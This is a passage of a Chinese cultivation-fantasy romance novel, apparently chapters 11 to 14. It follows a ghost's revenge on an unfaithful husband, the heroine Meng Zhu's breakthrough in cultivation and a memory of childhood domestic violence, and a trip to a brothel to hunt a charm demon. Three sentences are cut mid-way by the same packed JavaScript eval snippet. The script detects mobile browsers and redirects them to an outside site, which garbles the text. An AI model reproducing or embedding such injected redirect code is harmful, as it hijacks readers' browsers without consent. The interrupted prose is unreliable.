“嗯。”万珍儿点头,“我本来的能力撑不到幻境结束就会失去神智的,有他在,我才能一直保持清醒。” 终于,在施允孜孜不倦的教诲下,孟竹的指尖终于亮起了点点灵光,她长舒一口气,总算摸到了点门道。 她将指尖点在万珍儿的眉心,很快,丝丝缕缕的黑气便被她引了出来。 面前的幻境如镜面一样,轰然粉碎。 孟竹睁开眼,面前依然还是刚刚进屋的样子,幻境中的时间是停止的,对幻境外的人来说只是眨眼之间。 阿喜到了地方,像是主人一样一屁股坐在了板凳上,也不管屋内的气氛如何,十分自在。 施允此刻也睁开了眼睛,孟竹瞥了他一眼,他回了孟竹一个白眼。 只有郑言,进屋以后忙走到床边,用手顺着郑夫人的头发,又摸了摸她的脸,道:“彩莺,有没有哪里不舒服,我找了人来救你,很快就不难受了啊。” 他像是一个体贴入微的丈夫,从那张脸上,根本看不出他曾经做过怎样的事情。 郑夫人眼珠又动了动,神情依然呆滞,她扯了扯自己的头发,另外半张脸也露了出来。 一半的脸完好如初,另一半的脸上,皮肤呈浓重的黑紫色,眼珠完全凸了出来,仿佛稍微晃动一下就会掉下来似的。 郑言面色无异,只神情恳切地望向施允:“仙君,你看看,我夫人这是怎么了,究竟是不是中邪了?” 阿喜在一旁嗑瓜子,看见郑夫人的脸,嘴皮子一翻,往外吐了吐瓜子皮,道:“你眼瞎啊,人都这样了还问?” 施允冷笑着斜睨了郑言一眼,朝前丢了一枚玉佩,他随手虚空一点,玉佩在空中静止,在空中投下一道光幕,光幕中渐渐浮现出一个身影。 是万珍儿。 在她身影浮现的那一刻,郑言的脸迅速褪去了血色,他颤抖着双唇,指着万珍儿:“……是你,你怎么会……” 不知道施允用了什么办法,万珍儿虽然没有开口,但是所有人都能听见她的声音。 万珍儿朝前走了几步,郑言忙抱住郑夫人从床上挪开,往施允这边扑过来:“仙君!你还愣住做什么?还不收了这等邪物!” 眼见着郑言的手就要碰到施允的衣袖,下一秒,他的身前就像是忽然出现一道透明的屏障,将郑言弹了出去。 “谁允许你碰我了?”施允抬眼,一只手掸了掸衣袖上并不存在的灰,臭着一张脸坐在了孟竹旁边的座椅上。 郑言倒在地面上,充当了郑夫人的人形肉垫,他一只手撑着起身,看了眼万珍儿,脸上的那副温厚纯善的面具终于卸了下来:“好啊……原来,你们竟是一起的!” 他索性不再装了,对着万珍儿吼道:“你究竟对彩莺做了什么?你要报复就冲我来啊!” 他的手抚摸着郑夫人那个大的诡异的肚子,神情柔软了些许:“她还怀着身孕呢,你不要为难她。” 万珍儿垂眼看着郑夫人的肚子,道:“我并没有对她做什么,是昭儿。” “……什么意思?” 她笑了起来,温婉柔美的脸上看起来没有半分攻击性,她向郑言解释道:“她肚子里的,一直是昭儿啊。” 鬼婴没有生出灵识,一旦附到人身上,便会吸取生人的寿命和精魂作养料。 郑言放在郑夫人肚子上的手一僵,转过头死死盯着万珍儿,而后,他又将头转向施允,“我知道她想报复我,但彩莺是无辜的,你得救救她,你想要什么我都可以给你,商铺、宅子、还是我所有的田产?” “郑言。”万珍儿忽然出现在他身旁,手抓住郑言的头发,阴测测道:“你以为,你说的这些东西是谁家的?” “是我万家的!”她猛地将他的头发扯住,狠狠地砸向地面,声音听起来像是在笑,“你以为你逃得掉么?!” “你该死!” “你该死!!” “你该死!!!” 每说一句,她便狠狠地将郑言的头往地面上砸一次,直到郑言满脸的血,抽搐着倒在地上。 她一脚将郑言踢开,蹲下身看着神情痴傻的郑夫人,“彩莺,你无辜吗?” 郑夫人很明显被吸了太多精魂,已经痴傻了。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840294|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是万珍儿还是蹲在她身边,用手拨开她的头发,她看着那张人鬼莫辨的脸,声音轻轻地在空中响了起来:“我们从小一起长大,情同姐妹,你为什么要联合别人将我父母的踪迹出卖给山匪呢?” “从小到大,但凡有什么我都想着你的一份?我对你不好么?” 她叹了口气,将手放到郑夫人的肚子上,一旁的郑言竟然抖了一下,颤着手指想要爬到郑夫人的身边,口齿不清道:“别……碰……” 坐在角落里的阿喜一看,乐了,对着郑言道:“你对你这夫人倒是不错。” 万珍儿被阿喜的声音吸引,视线移了过去。 那一瞬间,她的瞳孔睁得极大。 她脸上的表情,孟竹形容不出来,就像是绝望中看到光的人一样,整张面孔都变得鲜活生动起来。 万珍儿张了张嘴,声音发抖:“张……张成喜……” “你回来了……” 施允本来阖着的眼皮倏然睁开,和孟竹一起,偏头看向阿喜。 阿喜懵了,本来笑着的嘴角慢慢、慢慢地松了下来,他摸了摸自己的脸,似乎想起了什么。 “我不是。”阿喜道。 万珍儿摇头,几步走到阿喜的面前,那双眼睛像是黏在了阿喜的脸上:“你是!你就是张成喜,我不会认错。” “可我真的不是。”阿喜将手中的瓜子放了下来,“但我知道,你说的这个人是谁。” “我本是个无相的水妖,遇到张成喜时,他已经是一个游魂了。”阿喜看着万珍儿,想了想,道:“你曾经是不是让人为你和他做过灵媒?” 万珍儿愣了愣,点头,“……是。” “他不想被此间牵挂,是我帮他解的灵媒,作为交换,他将自己的皮相送给了我。” 阿喜笑了笑,“他这个人还挺有意思的,我便与他做了这个交易。” 阿喜的声音不大不小,甚至堪称温和,但万珍儿却如遭雷击,整个瞳孔仿佛缩成了针尖似的大小。 她声若蚊蝇,问阿喜:“他……他可曾给我留下什么话?” “未曾。”阿喜摇了摇头,看着万珍儿的脸上多了几分不忍心,“他说人生本就肆意随心,来时空空,去也空空,他这一生无憾无挂,只愿早入轮回。” “哈哈……”万珍儿笑了起来,眼泪却落了满身,她往后退了几步,望着阿喜的那张脸。 “好啊……好……” “他无牵无挂……他好生潇洒……唯我一人自轻自贱……自作自受……”万珍儿捂着脸,笑得苦涩。 她曾经问过张成喜他喜欢什么,张成喜只是笑笑并没有回答她,现在想来,这世上并没有任何他在意的东西。 钱财、女人、仕途、亲友,这世上之人所追寻的,张成喜又何曾在意过? 他既多情,又无情。 为何她会觉得自己是那个特别的人呢? 恍恍惚惚间,她又想起了曾经和张成喜坐在窗下,窗外雨声萧萧,他手持着一卷书朝她看了过来,万珍儿凑了过去,“在看什么?” 视线落在有些泛黄的书页上,只潦草看了一眼,书上的字迹有些模糊。 张成喜将书合上,伸出手将她凑过来的脑袋轻轻推开,含笑道:“姑娘家不要读这样凄苦的词。” 是了,后来那首诗词是如何写的? 她曾无数次在等着张成喜的那些日子里,回想着和他的点点滴滴,又将这首词翻开来看。 夜深风竹敲秋韵,万叶千声皆是恨。 万珍儿擦去眼泪,对着施允行了一礼,最后望了一眼阿喜的脸。 “仙君,我无憾了。” 12. 第 12 章 万珍儿入不了轮回,她手上所沾染的命魂太多,最后也只是心念一散,魂归天地了。 她消散之前,将鬼婴从郑夫人身上引了出来,抱着那个不断挣扎,发出尖利叫声的鬼婴,她柔声安抚着:“昭儿乖,同娘亲一道走吧。” 最后,万珍儿笑了笑,说:“这样也好,不入轮回,便能永不相见了。” 根据万珍儿最后留下的指引,他们在郑宅的花园里挖出了数量惊人的尸体。 原来,郑宅里浓郁的香气都是为了遮掩地下所埋的尸臭味,鬼婴喜欢吸食生魂,便通过郑夫人的手杀了一个又一个人,但郑言却隐瞒着此事,甚至不惜从外面找些乞儿孤童来平息怨气。 郑府的护院和下人都被遣散一空,至此,这个偌大的宅院里,便只剩下了郑言和呆呆傻傻的郑夫人。 万珍儿并没有杀郑言,但她当然不会就这么轻易放过他,只是在他身上留下了最恶毒的诅咒。 他将每时每刻都承受剥皮活烙的痛苦和幻象,直到他寿终正寝的那一日。 孟竹离开前,回头看了一眼在屋内发疯尖叫的郑言,关上了郑宅的大门。 “啊……总算结束了,我要好好回去休息一下。”阿喜伸了个懒腰,慢吞吞走在前面。 她忽然想起万珍儿记忆里描述的那个人,仔细端详了阿喜的那张脸。 “张成喜最后,真的一句话都没留给万珍儿吗?” 阿喜偏头,笑了笑,声音轻飘飘的:“嗯……不知道啊。” “你很好奇?”施允的脚步顿住,转过身问她。 “我只是替万珍儿觉得不值。” 施允不以为然地笑笑:“既然喜欢,有什么值不值的,又不是做买卖。” 快要入夜了,天色逐渐暗沉下来,不远处能透过窗户看到星星点点的烛火亮了起来。 刚刚走了一段路,孟竹便眼前忽然一黑,顿感头晕目眩,方才被施允点过的额心变得越来越烫,身体中有一股极为紊乱的灵流在体内横冲直撞。 她承受不住,弯下身就是一口血吐了出来。 走在前面的施允回头,若有所思地看了孟竹一眼,对着阿喜吩咐:“你先回去。” 阿喜不明所以,但还是听话地点了点头。 孟竹身上的热度越来越高,感觉大脑都要被一把火点着了似的,迷迷糊糊中,她感觉到自己好像被泡在了一汪冷泉之中,身上的灼烧感也减轻了许多。 她想睁眼,却感觉到冰凉的指尖点在她的额心,身体内那股暴涨的灵流一瞬间便平息下来。 “屏息。” 是施允的声音。 身体内那股灵流仿佛被什么指引,“安静下来,什么都别想,感受周围的灵气,将它们引入体内。” 在一片黑暗中,只有泉水叮咚的声响,他的声音像清冽河水淌过她的耳朵,那些躁动不安的气息仿佛一瞬间就被平息下来。 渐渐地,不知道过了多久,孟竹感觉到自己进入了一个虚无的空间,这片空间中什么都没有,四处都是灰的,唯有一处是亮着的,她毫不犹豫地就朝着那道亮光走去。 “钱呢?” 孟竹眨了眨眼,望着面前一群纹着花臂,嘴里叼着烟的社会人士,她有些不明白发生了什么。 她不是穿越了吗? 回来了吗? 下一秒,头皮上传来剧烈的刺痛感,“你特么的是不是听不见老子说话?啊?” 孟竹下意识地就是一拳朝着面前的人挥去,挥出去的一瞬间,发现自己的身高仅仅只到男人的腰部。 那双拳头,瘦瘦小小的,没有任何力量。 恍神的一瞬间,身上又被踢了几脚,耳边夹杂着各种各样的脏话。 “你别以为现在有人领养你了,你那个死了的爹欠的那些钱就能一笔勾销了,要是拿不出钱来……” 她记起来了,这是她小的时候。 暴力、欲望、血和泪相互交织。 女人的哭声好像又萦绕在耳边,挥之不去。 倾倒的酒瓶、满屋的烟酒味,一地狼藉的碎片,男人暴怒的拳头又朝着墙边哭泣的女人砸了下来。 “家里的钱呢?钱呢?!” “没钱?没钱你不会去卖吗?”男人的力气好像天生具有压倒性的力量,不管女人怎么逃,怎么挣扎,都会被硬生生拖回去,怎么躲都躲不掉。 那双浑浊的,因为常年酗酒而布满血丝的眼睛盯着孟竹,“小兔崽子,再用这种眼神瞪着我试试?” 男人打量着她的脸,吐出一口唾沫在她脸上:“妈的,一家子精神病!” 她又在哭了。 那些日夜不停的哭声仿佛刻在了孟竹的灵魂里。 她和浑身青紫的女人依偎在一起,想着,要是她也能有一双足够厉害,能够打跑坏人的拳头就好了。 为什么……会想起这个时候呢? 阴天,老旧的楼道,一闪一晃的吊灯,掉漆的门板还有斑驳的血痕,瘦弱的女人站在阳台上。 女人的头发很长,连眼睛都被遮住,风把翻起一角的广告纸吹得哗啦作响。 轰—— 耳边像是一道惊雷砸下,呼吸骤停—— 孟竹贴着阳台边缘,向下伸出一只手,狂风从她指间呼啸而过,什么也没抓住,什么也没留住。 要是早一点就好了,要是路上走得快一点就好了,要是今天她一直待在家里就好了。 她瑟缩在一片角落里,好累,仿佛浑身的力气都被抽干了。 “孟竹!孟竹!” “喂!醒醒……” 是谁……在叫她的名字? 下一刻,仿佛从虚空中探出一只手,将她从阳台的那一角拽了出来。 孟竹睁开眼睛,意识彻底回笼,视线正对上施允的眼睛。 他浑身都是湿的,连睫毛上都坠着湿漉漉的水珠,湿透的长发贴在他的脸上,唇色很红。 他的手指好凉,像碎冰一样,正搭在孟竹的眉心,“你怎么……这么重的心魔?” 好沙哑的声音。 “我……怎么了?”孟竹抿着唇移开视线,打量周围的环境。 忽然晕过去,又忽然想起这样的事情。 施允收回手,“我之前强行打开了你的灵脉,让你的修为上涨,应该是有些心急了,我没想到你承受不住。” “不过现在没事了。”他从水中起身,视线移到远处,“赶紧出来吧。” 孟竹看着施允的动作,才发现自己正在一片冷泉之中,应该是施允将她带来这里的。 她不知道时间过了多久,但是明显感觉到自己已经能够控制和使用身体里的那股灵流,精神百倍,精神好得异常。 用灵力烘干了衣服,她才体会到在这个修仙的世界里,会术法是多么方便的一件事。 等到她将自己收拾妥帖了,施允才从林中走了出来。 回客栈的路上,已经是傍晚时分了,微风习习,落日余晖,桐花城的大街上依旧热闹繁华,人来人往。 孟竹觉得自己的身体发生了显著的变化,首先,最明显的,就是她的手。 那些长年累月反复生出的冻疮消失不见,肿大的关节恢复正常,这是一双白净的、没有瑕疵的手。 她将手举在自己的眼前,五指张开,夕阳的余晖从指缝溜了进来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840295|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,落了星星点点的光在她脸上。 “好神奇。”孟竹感叹。 张开的指缝中,她看见施允回头,红衣上的金线在落日的照映下将他的身形勾勒出模糊的金边。 “真笨。”施允嘲笑她,“这么简单的事情都不知道吗?” “我知道啊。”孟竹说,“我是不是筑基了?” 她的修为直接跨了一个大阶段,跳过炼气期直接筑基,从此以后,便脱了凡胎,真正两只脚踏入了修仙之路。 施允这个人,虽然难相处了点,但人好像还蛮靠谱的。 “三日筑基,比预料中慢了很多。”施允还是不太满意。 “普通人要想筑基,多的是几十上百年的,这样不是很棒了吗?”孟竹越说,越觉得没什么真实感,像是人家都勤勤恳恳地用功读书,唯有她一人在作弊一样。 “哈……”施允发出一声嗤笑,“你当我是谁?” 他说这话的时候,一边的眉挑了起来,嘴角勾着一抹笑。 是属于少年独有的意气风发。 孟竹:“为什么帮我?” “想知道?” “嗯。” “为什么?” “好奇。” “哦……”施允一只手拨了拨腰间玉佩的流苏,“怕你拖我后腿而已。” “麻烦死了。”他放下手转身继续往前走,声音被风吹散,断断续续的,“你这么弱,要是……” 他走在前面,孟竹根本什么都没听清,“什么?” “没什么。” “施允。”孟竹叫住他,有些事情她是分得清的,比如,施允本没有义务这么做,也本可以不守她这三天。 “干嘛?”他懒得回头,“有事说事,别喊来喊去的。” “我会努力不拖你后腿的。”孟竹走在他旁边,弯下身偏头去看他的眼睛,唇角的梨涡浅浅晕开,“我们一起去仙洲吧,好不好?” “到时候我一个人都不认识,可以和你做朋友吗?” 为什么呢?这么一个他讨厌的人,却有着这么柔软漂亮的笑容。 是摄魂咒的原因吧,等他解咒回了仙洲,怎么会跟这种人有交集呢? 但是此刻,或许是因为摄魂咒的原因,他忽然不想说出那些话来。 “……随便你。” 回客栈的路上,要穿过一片桐花林,此时正是桐花盛开的时节,繁花坠了满枝,枝桠被斜斜压下,顺着林叶的间隙撒下细碎的夕光。 枝叶摇摇晃晃,粉紫的花瓣被风吹落了一地。 孟竹下意识地伸手去接空中落下的花瓣,一伸手,却又抓空了。 面前红色的身影一闪而过,她的视线追琢着那个影子往上看去。 一身红衣的少年正支起一支腿坐在桐花树上,鲜明热烈,如枫似火。 他的视线自上而下看着孟竹,搭在膝上的手中正捏着不知什么时候折下的花枝,手指微微一动。 那花枝不偏不倚,正落在孟竹摊开的掌心。 “……干什么?” 莫名其妙。 “蠢死了。”施允的视线落在站在树下姑娘的脖颈上,“连朵花都接不住。” 那细白、柔软的脖颈上不知何时沾上了一瓣粉紫色的花。 手中仅剩的一枝桐花被他捏在指尖反复搓揉,心口热热的、又痒又麻。 他盯着那贴在脖颈上的花瓣,将手中那枝桐花咬在了唇齿间,望着她,不紧不慢地咀嚼着。 四目相对,他的视线如有实质一般,像被火烧过。 下一秒,孟竹伸手捂住了自己的脖颈,手指搭在颈侧,不由自主地蜷了一下。 13. 第 13 章 “你们总算回来了,我的老天爷!” 阿喜的声音穿透力极强,隔着两层楼都能听见他来自远方的呼唤。 他像个拉客的老鸨似的对着孟竹挤眉弄眼,还一边推着孟竹进屋。 施允看了一眼,什么话都没说,径自进了自己的房间。 “哇哦……” 孟竹看着房间里一连排的、粉青蓝黛的衣裙以及琳琅满目的首饰,情不自禁地发出感叹。 然后转脸看着阿喜:“要不你解释一下,这什么意思?” “看不出来吗?”阿喜摊手,一脸无辜,“你觉得是我送的吗?” 她当然不可能认为是阿喜送的,只是…… “我先出去了。”阿喜做了个手势,“孟姑娘慢慢试。” 孟竹伸手,随意从架子上拿了一条云锦织就的裙子,柔软细腻的布料一寸寸贴合她的肌肤,分豪不差。 像这样合身又昂贵的布料,都是要提前去绸缎铺量好尺寸才可以吧…… 回过神来的时候,她已经站在施允房间的门口了,手抬了抬,把门叩响。 “进来。” 进门之前,她将鞋底在地毯上蹭了蹭,又仔细看了看,才推门而入。 施允正坐在窗边,手中什么东西一闪而过,又被他握在手心,抬起眼来看她。 眼神在孟竹的身上停留了一瞬,“什么事?” 孟竹提起裙摆在他面前转了一圈,云锦上的流光似水,寸寸贴着姑娘纤细的腰肢,照在人的眼中,悠悠荡荡。 “好看吗?” “……丑死了。”施允眼睫垂下,脸上没什么表情,“过来问我做什么?” 他的眼神看向桌面上的香炉,说到底,他也不知道为什么,就是不想看她。 让人心烦。 屋内很安静,没有人回答他刚刚的问题。 施允刚要抬眼,视线内,又撞上一双含笑的眼眸。 她怎么总是这样。 从来都看不懂人的脸色,总是在这种时候硬闯进他的视线中,非要用那双眼睛清清楚楚地看着他。 孟竹坐在他对面,弯下腰偏头去瞧施允的眼睛,“怎么了?” “很好看。” “我很喜欢。” “谢谢你,施允。” 喋喋不休,自说自话。 好吵。 “我只是看不惯有人在我身边穿得破破烂烂。”说到底,他不过就是帮她打通了灵脉,又送了点衣服首饰罢了。 这种小事,也值得这么高兴? 孟竹这个人,好像别人对她一点点好都会被她记在心里,哪怕他根本不觉得这些事情有什么重要的。 自说自话,吵得人心烦意乱。 “施允。” 看吧,她又在叫他的名字了,熟练得很。 “说。” “我这些衣服都好合身,是有人提前帮我量过吗?”孟竹比了比自己的腰身,“我不记得之前有量过尺寸啊?” 室内一时间极静。 孟竹看着施允忽然站起身,背对着她,声音有些低:“大惊小怪……随便看一眼就知道了。” 修仙人士都这么厉害吗?眼睛当尺子用? 孟竹不理解,但是大为震惊。 她点点头,感觉自己确实还是见识太少了,对这个世界的了解还是太少了,随后又想起施允看不到她点头,便开口道:“原来如此。” 话锋一转,孟竹又问,“怎么看出来的?” “出去。” 施允头也不回往床边走,衣袖一挥,一阵风袭来,孟竹瞬间便被挪了个位置。 也不知道又碰到了他哪根敏感的神经,望着面前紧闭的大门,孟竹摸了摸鼻子,感觉差点被门夹到。 算了,施允这个人本来就是这样捉摸不定的,想搞好关系可能还不是时候。 想从施允口中问出更多关于修真界的事情,倒也不急于一时。 一回屋,又看见满屋的衣裳和首饰。 孟竹眼花缭乱,站在屋内叹了口气,心中没由来的焦躁起来。 这怎么办呢? 又带不走。 - 到了第二天要走的时候,孟竹才发现自己多虑了。 她在屋子里收拾了大半天,碰上过来催促的阿喜,他站门口看了半天,憋出一句:“那什么……你不知道乾坤袋吗?” 孟竹的手放了下来,看着门口不知道什么时候出现的施允,“我上哪去买法器?” 施允盯了她半晌,手中抛出了个东西,孟竹伸手接住,掌心摊开。 一枚通体赤红的戒环静静地躺在她的手心。 “乾坤戒。”施允收回视线,转身下楼,“尽快收拾好。” “哇……”阿喜冲上来,看着孟竹手心里的东西,眼睛都瞪直了。 “出手真大方啊!龙血玉做出来的乾坤戒,那可是有钱都买不到的,得是在天阶秘境中猎杀蛟龙才能有的东西诶!” “不仅仅能够无限储物。”阿喜顿了一下,说:“你知道它最珍贵的地方在何处吗?” “……什么?”孟竹顺着他的话问。 “阿喜。”施允不知道什么时候又上来了,站在门口,鬼魂似的幽幽道:“还不走?” 阿喜拍了拍自己的嘴,赔笑道:“来了来了。” 孟竹将那枚戒指戴在食指上,正好合适,心念一动,屋里的那些行李便自动收到了戒指的无限空间中。 她再次发出一声真诚的感叹,好方便啊。 怪不得那些修仙人士都是一身仙气飘飘,不食人间烟火的样子,也不知道是不是每个修仙人士都像施允这么大方。 修仙人士要赶路,坐的也不是马车,施允找了个僻静无人的暗巷画了个传送阵,在地面上发着幽幽的蓝光。 画完以后,施允抬头问:“会了吗?” 孟竹:“?” 施允踏入阵中,周身蓝光大盛,周围的风场旋转着,将他的头发吹得扬起,他瞥她一眼:“下次你来画。” 她跟着一脚踩了进去,眼前的光亮得刺眼,风声也大,让人不得不闭上眼睛。 再一睁眼时,已经换了地方。 施允手中拿着一个罗盘,指针在上面摇摇摆摆,像是坏了一样怎么也确定不了方向。 片刻后,他示意阿喜将自己的血滴入罗盘之中。 水妖的强大之处,就在于他们的气息融于万物之中,不光是山川湖海,雨露、湿泥、稻田,只要有水的地方,他们就可以存在并影响。 是以,就算再善于隐匿的妖物,也逃不过水妖的眼睛。 阿喜的血滴入罗盘以后,指针缓缓移动,定格在东南方位。 三人一路沿街行至目的地,孟竹抬头望着面前三个大字。 ——寻芳苑。 这里是临城最繁华的一角,红楼画阁,衣香鬓影。 腻人的脂粉香扑面而来,风韵犹存的老鸨扭着腰肢迎着施允走去:“哟~打哪儿来的这么俊的郎君啊,快里面请。” 施允 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840296|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动也不动,一双眼睛静静盯着人看,也不说话,浑身上下散发着生人勿近的气息。 见他这样,老鸨的香帕在向前的过程中拐了个弯,拂到一旁阿喜的脸上,“这位公子也生得好生俊俏,月娘也喜欢得紧呢。” 阿喜笑眯眯的,抓住女人的香帕嗅了嗅,换来女人一个水波盈盈的媚眼。 “不进去吗?”孟竹扭头问。 施允面无表情地盯着那个大门看了一会儿,才对着月娘道:“要一间最干净的房间。” 阿喜是最先进去的,十分娴熟,一边走一边道:“把你们这最最漂亮的姑娘叫过来。” “我们这儿……可不是姑娘家来的地方。”月娘看着孟竹一脸平静地往里走,伸手一拦,笑道:“姑娘,你知道这儿是什么地方吗?” “知道。” 青楼嘛,她确实挺想进来参观一下的。 施允丢给月娘一张银票,言简意赅:“带路。” 月娘收了银票,瞬间眉开眼笑,两男一女逛青楼,还要楼里的头牌作陪。 这什么新玩法? 月娘不知,但她认银子,银子到位了,什么都好说,管他什么奇怪的癖好呢。 这销金窟果然名不虚传,一路走来,廊腰缦回,装饰极为奢华,翡翠金台,琉璃宝珠,应有尽有。 越往深处走,有些声音便越发明显,红帐飘香,楼里的姑娘们穿着清凉,入眼皆是白花花的一片。 阿喜一路上嘴和手都没停过,嘴里不停念叨着:“好好好……”一会儿摸摸这个姑娘的小手,一会儿看看那个姑娘的纤腰。 孟竹皱了皱眉,下意识去看施允的脸。 他没什么表情地看着前方,甚至连眉头都没皱一下,脸上的表情倦怠而冷淡。 偶尔有热情的姑娘看中他出色的相貌,还没走进人身边,就被施允一个冷眼吓了回去。 他和她想象中,好像不太一样。 初见时的样子还历历在目,还以为会看到一张有趣的脸。 有姑娘来搭讪,自然也有一些男人的视线不动声色地打量着孟竹,她同这些千娇百媚的姑娘们不同,看起来沉静内敛,身形高挑,一束墨发垂在身后,飒爽利落。 这种与众不同的气质一瞬间便吸引了许多不同的视线,如果这些视线是在其他的地方,或许只是欣赏或好奇,但这里是寻芳苑,便只剩下了赤-裸裸的欲-望。 忽然,腰后被人一把揽住,一阵酒味袭来,呼吸带着热气喷在孟竹的耳畔:“新来的?” “一起玩儿啊?” 孟竹转头,是一个陌生的男子,满脸醉色,应该是误以为她是寻芳苑的姑娘了。 她愣了一下,刚要动手把人推开,忽然身边一阵风掠过。 砰—— 男人瞬间飞了出去,像极速降落的流星似的撞至走廊尽头的柱子上。 施允抬起的脚收回,像道鬼影般转一瞬间出现在男子的身侧,抬脚一踩,清晰的骨裂声响起,男人的惨叫声瞬间响彻了整座寻芳苑。 路过的姑娘们纷纷吓得叫了起来,自动抱作一团站在走廊的两侧。 男子的酒瞬间醒了,还没搞清楚状况,张嘴就是一句脏话,“我艹你大爷的,来青楼不玩女人你特么有病啊!” 施允眉眼间的戾气漫开,垂下的碎发遮住了眼睛,他手指收拢,手背上的青筋根根暴起,扼住男人的喉咙。 那人瞬间变了脸色,脸涨得通红,“别……” 他挣扎着看向施允的眼睛,心脏瞬间一紧。 14. 第 14 章 眼见着那人出气多进气少的样子,月娘忙冲了上去。 许是有些害怕施允满身吓人的戾气,她没敢上前拉施允,而是站在两步远的地方劝道:“公子,都是误会,都是误会,您看看我这做生意的地方,可别闹出人命啊……” 施允看着那人,手慢慢松了下来,男子像块破布一样被甩在地上,直喘粗气。 他什么话也没说,只拿出一块锦帕擦了擦手,经过孟竹身边时,看了她一眼。 那双眼睛暗色氤氲,冷得像隆冬里的一抔雪。 孟竹:“?” 她做什么了?摆脸色给谁看啊? 她扭头看向旁边的阿喜,问他:“他咋了?” 阿喜意味深长地看了孟竹一眼,叹了口气,道:“要不你还是化个男相吧,不然多麻烦啊,你说是吧?” 孟竹想了想,脑海中浮现了幻形术的术法,这术法还算简单,她试了两次便成功了,幻形之后是一个毫无记忆特征的男人脸。 果然光知道理论知识不行,实践是最好的进步手段。 不出所料,换上以后,那些被人打量的感觉很快便消失不见。 闹了这么一通,到了房间以后,施允看都不看她一眼,径自坐在一旁的案几边闭目养神。 孟竹本来也不是个性子热络的人,除了霍予,她还没主动去哄过谁。 她和阿喜分坐在桌子两边,桌子上已经备好了酒水饭菜,阿喜倒了一杯酒,自顾自喝了起来。 “说起来,这次来寻芳苑到底是找什么妖?” 阿喜将酒倒进嘴里,面色奇怪地看了她一眼,才道:“魅妖。” 说到这,孟竹兴趣上来了,又问阿喜:“魅妖是不是都特别漂亮?” “那是自然,魅妖的皮相和魅术是这世上最顶尖的,但是由于妖力很弱,甚至还有一些皇族专门饲养魅妖作姬妾,将她们当作礼物赠送给别人……”阿喜说着,大概是因为同为妖类,说到同类这种事情,脸上的表情也严肃了几分。 孟竹:“她们不是会有魅术吗,为何还会为人所困?” “魅妖一族,天生具有无比的吸引力,但是她们有个致命的缺点,就是一生只能爱上一个人,一旦交付真心,魅术便会失效,所以这也是魅妖这些年来越来越稀少的原因。”阿喜叹了口气,“现在就连踪迹,也越来越难寻了。” 想不到这魅妖一族,还是个痴情种,她还以为会走风情万种的海王海后路线。 “那我们找魅妖做什么?” 阿喜夹菜的动作一顿,“这个嘛……” “对魅妖这么感兴趣?”施允突然开口,原本闭上的眼睛倏然睁开,“是因为孟姑娘很享受被男人注视的感觉吗?” 他这番话说得阴阳怪气,活像刚吃了三个炸药桶。 孟竹转过脸对上施允的视线:“我招你惹你了?” 施允嘴角一扯,那双眼睛似笑非笑:“啊……看来是在下的不是,管的太多,反倒打扰了孟姑娘的好事。” 左一句孟姑娘,右一句打扰了,怎么听都不像什么好话。 孟竹没说话,空气中气氛渐渐凝固起来。 阿喜看看施允,又看看孟竹,连菜也不敢夹了。 施允的话像是一盆冷水浇到头上,孟竹忽然意识到,他们之间其实并没有多么深厚的交情。 孟竹不擅长争吵,她手撑着桌沿站了起来,站起身往门外走,拉开门之前,背对着施允,声音很平静:“我不知道你在生什么气,都冷静一下吧。” 说完,她头也不回,转身离开。 一路脚步加快,没有离开寻芳苑,而是来到了池塘边的亭子里坐了下来。 被人说两句罢了,她从不觉得有什么,以前比这难听的话都听过多少了。 这算什么,不痛不痒的。 只是这个人是施允,不知为何,就让人觉得好像要格外介意那么一点。 这人性子太别扭了,又拧巴极了,让孟竹捉摸不透,时不时就会炸雷似的。 孟竹不爱揣测别人的心思,从前和霍予在一起时,她不用猜不用想,她喜欢霍予,也喜欢他的单纯直白。 从小到大,可能是性格使然,孟竹没什么朋友,父母亡故以后,在乎的人也仅仅只有霍予和季琴两个人,常常被人说看不懂气氛和脸色。 但是施允…… 她还以为他们的关系已经好很多了。 手撑在额头上,孟竹捂着半边脸长长地叹了一口气,自言自语道:“我真是糊涂了……” - 屋内,阿喜看着施允,犹犹豫豫道:“这……这可如何是好啊……” “出去。” “好咧。”阿喜等的就是这句话,他在这里如坐针毡,走也不是不走也不是,得了指令像道风似的眨眼间便消失不见。 房间内很安静,能听得见自己心跳的声音。 怦怦、怦怦,一下又一下。 他近来总是莫名的烦躁,看见孟竹了觉得烦,看不见了觉得更烦,心中像爬进了一只蚂蚁,又痒又麻,时而心悸。 恐怕是得病了。 但转念一想,又觉得不对,修仙之人早已脱离凡胎,那就是走火入魔的征兆。 